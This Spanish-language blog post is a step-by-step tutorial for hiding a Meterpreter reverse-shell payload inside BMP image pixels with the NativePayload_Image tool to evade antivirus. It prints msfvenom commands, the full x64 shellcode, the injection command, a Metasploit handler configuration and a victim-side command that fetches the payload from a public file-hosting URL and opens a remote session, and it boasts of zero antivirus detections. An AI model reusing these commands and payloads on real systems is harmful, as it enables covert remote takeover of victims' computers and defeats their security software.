Backdoors en imágenes gracias a BMPs y una lupa

Después de un tiempo de desconexión con motivo de exámenes y demás, hoy vuelvo para hablaros de un tema bastante útil a la par que peligroso...

Muchos nos hemos dedicado a darle cientos de vueltas a la cabeza para conseguir ejecutar malware sin ser frenados por la multitud de antivirus que hay en el mercado, para ello hay algunas herramientas como AVET, comentada anteriormente por estos lares, que nos facilitan cantidad el proceso de evasión de AVs, pero debemos saber que estas herramientas no son infalibles.

Normalmente nada más ser publicadas funcionan bastante bien, pero con el paso del tiempo sus mecanismos de evasión acaban siendo detectados por los antivirus y acaban quedando inservibles...

A parte de estas herramientas para evadir a los antivirus, puede haber otras maneras de crear backdoors indetectables o incluso distintos métodos de propagación de malware que no son muy utilizados en la actualidad como el que vengo hoy a tratar.

Seguramente casi nadie (por no decir nadie) os habréis fijado bien si hay algo raro en la imagen de cabecera del post, ¿no veis nada raro?, ampliarla un poquito más, ¿seguís sin verlo?, os daré un pista, haced zoom a la parte inferior izquierda de la imagen... Bueno, como podéis observar, aparece una tira de pixels de diferentes colores, los cuales no concuerdan con la imagen original, pues en esa tira de pixels se encuentra nuestra futura sesión de meterpreter, o mejor dicho, nuestro querido backdoor.

 
Como muchos habréis podido observar, es una imagen en formato bitmap (.bmp), esto quiere decir que estamos ante un mapa de bits que es una estructura o fichero de datos que representa una rejilla rectangular de pixels o puntos de color, denominada matriz, que se puede visualizar en un monitor, papel u otro dispositivo de representación. Aprovechando esta característica, hemos insertado un backdoor dentro de dicha matriz en 54 pixeles de la parte inferior izquierda de la imagen.

Si observamos de una imagen original y de otra backdorizada con un visor hexadecimal veremos los siguiente:


Si os fijáis, en comparación a la imagen original (izquierda), la imagen backdorizada (derecha) tiene añadidos unos valores seleccionados, ese es el backdoor en cuestión que se representa en la imagen original  con esos pixels coloreados mencionados anteriormente.

Ahora vamos analizar si una imagen backdoorizada de este modo está totalmente libre de detecciones de antivirus.

https://virustotal.com/es/file/d1628866428459edca56f4321cd7776fb8b697c84ec76ac6a36d2373424fe9db/analysis/1497921950/
Como veis en el análisis, 0/56 detecciones, un backdoor totalmente FUD. Lo único que queda es poder interpretar esos pixels y valores para poder abrir la puerta trasera en el ordenador víctima.

Para ello tenemos la herramienta NativePayload_Image, una herramienta creada en C# por Damon Mohammadbagher que va a servir de interprete de nuestra puerta trasera, en este caso, una sesión de de meterpreter. Su uso es muy sencillo, nada más descargar el repositorio, compilaremos la solución con .Net Framework 2.0 , 3.5 o 4.0, y lo ejecutaremos desde la terminal de Windows.
NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files

Injecting Syntax :

Syntax Creating New Bitmap File by template:

Syntax I: NativePayload_Image.exe create [NewFileName.bmp] [Meterpreter_payload]
Example I: NativePayload_Image.exe create test.bmp fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50

Syntax Modify Bitmap File by New Payload:

Syntax II: NativePayload_Image.exe modify [ExistFileName.bmp] [header_length] [Meterpreter_payload]
Example II: NativePayload_Image.exe modify test.bmp 54 fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50

Detecting and Getting Meterpreter Session (backdoor mode) Syntax :

Syntax Getting Meterpreter Session by local BMP File:

Syntax I: NativePayload_Image.exe bitmap [ExistFileName.bmp] [Payload_length] [BMP_Header_Length]
Example I: NativePayload_Image.exe bitmap test.bmp 510 54

Syntax Getting Meterpreter Session with Url by http Traffic

Syntax II: NativePayload_Image.exe url [target url] [Payload_length] [BMP_Header_Length]
Example II: NativePayload_Image.exe url http://192.168.1.2/images/test.bmp 510 54

Syntax Getting Meterpreter Session by local/Web Encrypted BMP File:

Syntax III: NativePayload_Image.exe decrypt [target url or local filename] [Payload_length] [BMP_Header_Length]
Example III: NativePayload_Image.exe decrypt http://192.168.1.2/images/test.bmp 510 54

También vamos a analizar la herramienta para vez si es detectada por los antivirus:

https://nodistribute.com/result/Lj724wmSu3qIXYDbOAakz6VZs59FBd
Cabe mencionar que este programa no se encarga únicamente de interpretar el backdoor, también tiene otros módulos como: create, que se encargará de crear un nuevo bitmap con el payload de meterpreter que le demos, y modify, que se encargará de modificar el bitmap que le demos y le añadirá los pixeles y valores del payload.

Dentro del intérprete hay varias opciones: bitmap, que se encargará de leer el payload de una imagen almacenada, url, que se encargará de leer el payload de una imagen almacenada en internet a traves de trafico http, y también decrypt, que se encargará de mostrarnos el payload que se está utilizando en un bitmap que se encuentre almacenado en el ordenador o en internet. Vamos a realizar un ejemplo/POC utilizando alguno de sus módulos y aplicándolo a un entorno real.

Para ello, lo primero que debemos hacer es obtener nuestro payload gracias a cualquiera de los siguiente comandos de msfvenom:

msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f c > payload.txt
msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 -f num > payload.txt
 
Yo usaré el primero, pero podéis usar cualquiera de los dos, si queréis ver una comparación, aquí os dejo un payload en -f c y en -f num. Entonces el formato de mi payload es el siguiente:

root@kali:~# cat payload.txt 
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x0f\xc8\xc0\xa8\x01\x8a\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x05"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
 
Deberemos suprimir algunos caracteres del payload dejándolo de la siguiente forma para que la herramienta pueda interpretarlo, debe de quedar de la siguiente manera:
fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50,52
,51,56,48,31,d2,65,48,8b,52,60,48,8b,52,18,48
,8b,52,20,48,8b,72,50,48,0f,b7,4a,4a,4d,31,c9
,48,31,c0,ac,3c,61,7c,02,2c,20,41,c1,c9,0d,41
,01,c1,e2,ed,52,41,51,48,8b,52,20,8b,42,3c,48
,01,d0,66,81,78,18,0b,02,0f,85,72,00,00,00,8b
,80,88,00,00,00,48,85,c0,74,67,48,01,d0,50,8b
,48,18,44,8b,40,20,49,01,d0,e3,56,48,ff,c9,41
,8b,34,88,48,01,d6,4d,31,c9,48,31,c0,ac,41,c1
,c9,0d,41,01,c1,38,e0,75,f1,4c,03,4c,24,08,45
,39,d1,75,d8,58,44,8b,40,24,49,01,d0,66,41,8b
,0c,48,44,8b,40,1c,49,01,d0,41,8b,04,88,48,01
,d0,41,58,41,58,5e,59,5a,41,58,41,59,41,5a,48
,83,ec,20,41,52,ff,e0,58,41,59,5a,48,8b,12,e9
,4b,ff,ff,ff,5d,49,be,77,73,32,5f,33,32,00,00
,41,56,49,89,e6,48,81,ec,a0,01,00,00,49,89,e5
,49,bc,02,00,0f,c8,c0,a8,01,8a,41,54,49,89,e4
,4c,89,f1,41,ba,4c,77,26,07,ff,d5,4c,89,ea,68
,01,01,00,00,59,41,ba,29,80,6b,00,ff,d5,6a,05
,41,5e,50,50,4d,31,c9,4d,31,c0,48,ff,c0,48,89
,c2,48,ff,c0,48,89,c1,41,ba,ea,0f,df,e0,ff,d5
,48,89,c7,6a,10,41,58,4c,89,e2,48,89,f9,41,ba
,99,a5,74,61,ff,d5,85,c0,74,0a,49,ff,ce,75,e5
,e8,93,00,00,00,48,83,ec,10,48,89,e2,4d,31,c9
,6a,04,41,58,48,89,f9,41,ba,02,d9,c8,5f,ff,d5
,83,f8,00,7e,55,48,83,c4,20,5e,89,f6,6a,40,41
,59,68,00,10,00,00,41,58,48,89,f2,48,31,c9,41
,ba,58,a4,53,e5,ff,d5,48,89,c3,49,89,c7,4d,31
,c9,49,89,f0,48,89,da,48,89,f9,41,ba,02,d9,c8
,5f,ff,d5,83,f8,00,7d,28,58,41,57,59,68,00,40
,00,00,41,58,6a,00,5a,41,ba,0b,2f,0f,30,ff,d5
,57,59,41,ba,75,6e,4d,61,ff,d5,49,ff,ce,e9,3c
,ff,ff,ff,48,01,c3,48,29,c6,48,85,f6,75,b4,41
,ff,e7,58,6a,00,59,49,c7,c2,f0,b5,a2,56,ff,d5
 
Ahora que tenemos el payload, escogemos una imagen en formato .bmp y ejecutamos la aplicación de la siguiente manera para crear nuestro bitmap backdoorizado:

C:\Users\Downloads\NativePayload_Image-master\NativePayload_Image-master>NativePayload_Image.exe modify imagen.bmp 54 fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50,52,51,56,48,31,d2,65,48,8b,52,60,48,8b,52,18,48,8b,52,20,48,8b,72,50,48,0f,b7,4a,4a,4d,31,c9,48,31,c0,ac,3c,61,7c,02,2c,20,41,c1,c9,0d,41,01,c1,e2,ed,52,41,51,48,8b,52,20,8b,42,3c,48,01,d0,66,81,78,18,0b,02,0f,85,72,00,00,00,8b,80,88,00,00,00,48,85,c0,74,67,48,01,d0,50,8b,48,18,44,8b,40,20,49,01,d0,e3,56,48,ff,c9,41,8b,34,88,48,01,d6,4d,31,c9,48,31,c0,ac,41,c1,c9,0d,41,01,c1,38,e0,75,f1,4c,03,4c,24,08,45,39,d1,75,d8,58,44,8b,40,24,49,01,d0,66,41,8b,0c,48,44,8b,40,1c,49,01,d0,41,8b,04,88,48,01,d0,41,58,41,58,5e,59,5a,41,58,41,59,41,5a,48,83,ec,20,41,52,ff,e0,58,41,59,5a,48,8b,12,e9,4b,ff,ff,ff,5d,49,be,77,73,32,5f,33,32,00,00,41,56,49,89,e6,48,81,ec,a0,01,00,00,49,89,e5,49,bc,02,00,0f,c8,c0,a8,01,8a,41,54,49,89,e4,4c,89,f1,41,ba,4c,77,26,07,ff,d5,4c,89,ea,68,01,01,00,00,59,41,ba,29,80,6b,00,ff,d5,6a,05,41,5e,50,50,4d,31,c9,4d,31,c0,48,ff,c0,48,89,c2,48,ff,c0,48,89,c1,41,ba,ea,0f,df,e0,ff,d5,48,89,c7,6a,10,41,58,4c,89,e2,48,89,f9,41,ba,99,a5,74,61,ff,d5,85,c0,74,0a,49,ff,ce,75,e5,e8,93,00,00,00,48,83,ec,10,48,89,e2,4d,31,c9,6a,04,41,58,48,89,f9,41,ba,02,d9,c8,5f,ff,d5,83,f8,00,7e,55,48,83,c4,20,5e,89,f6,6a,40,41,59,68,00,10,00,00,41,58,48,89,f2,48,31,c9,41,ba,58,a4,53,e5,ff,d5,48,89,c3,49,89,c7,4d,31,c9,49,89,f0,48,89,da,48,89,f9,41,ba,02,d9,c8,5f,ff,d5,83,f8,00,7d,28,58,41,57,59,68,00,40,00,00,41,58,6a,00,5a,41,ba,0b,2f,0f,30,ff,d5,57,59,41,ba,75,6e,4d,61,ff,d5,49,ff,ce,e9,3c,ff,ff,ff,48,01,c3,48,29,c6,48,85,f6,75,b4,41,ff,e7,58,6a,00,59,49,c7,c2,f0,b5,a2,56,ff,d5

NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files


[!] Modify Bitmap File ...
[!] Bitmap File Name : imagen.bmp
[+] Injecting Meterpreter Paylaod to Bitmap File ...
[>] Injecting Payload (length 510) : fc4883e4f0e8cc00000041514150525156
[!] File imagen.bmp with length 12000054 bytes Modified.
 
Esta es la imagen con el payload que usaré:


Subiré la imagen a una maquina virtual Kali Linux conectada a la misma red que yo, copiando la imagen en la carpeta /var/www/html y ejecutamos Apache con service Apache2 start.


Ahora ejecutaremos meterpreter con la siguiente configuración:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf exploit(handler) > set LPORT 4040
LPORT => 4040
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.138 yes The listen address
LPORT 4040 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > exploit
 
Por último, para obtener la sesión de meterpreter simplemente tendremos que usar el modulo url de la siguiente manera para que la herramienta lea el payload de la imagen sobre la maquina víctima:
C:\Users\Downloads\NativePayload_Image-master\NativePayload_Image-master>NativePayload_Image.exe url https://d3.dropfile.to/img/633e43797b4bc3d25b9f77f13727c76b.bmp 510 54

NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017
Detecting/Injecting Meterpreter Payload bytes from BMP Image Files

[+] Detecting Meterpreter Payload bytes by Image Files
[+] File Scanning .. . .
[+] Reading Payloads from URL "https://d3.dropfile.to/img/633e43797b4bc3d25b9f77f13727c76b.bmp"
[+] Scanning Payload with length 510 from byte 54

Bingo Meterpreter session by BMP images ;)
 
Y hecho, sesión de meterpreter abierta :)

Finalmente, si quereis ver como hacer todo este proceso manualmente, os dejo el link de Damon Mohammadbagher que lo hace con (el mítico) Paint: https://www.linkedin.com/pulse/transferring-backdoor-payloads-bmp-image-pixels-damon-mohammadbagher


Via: www.hackplayers.com
Backdoors en imágenes gracias a BMPs y una lupa Backdoors en imágenes gracias a BMPs y una lupa Reviewed by Zion3R on 17:34 Rating: 5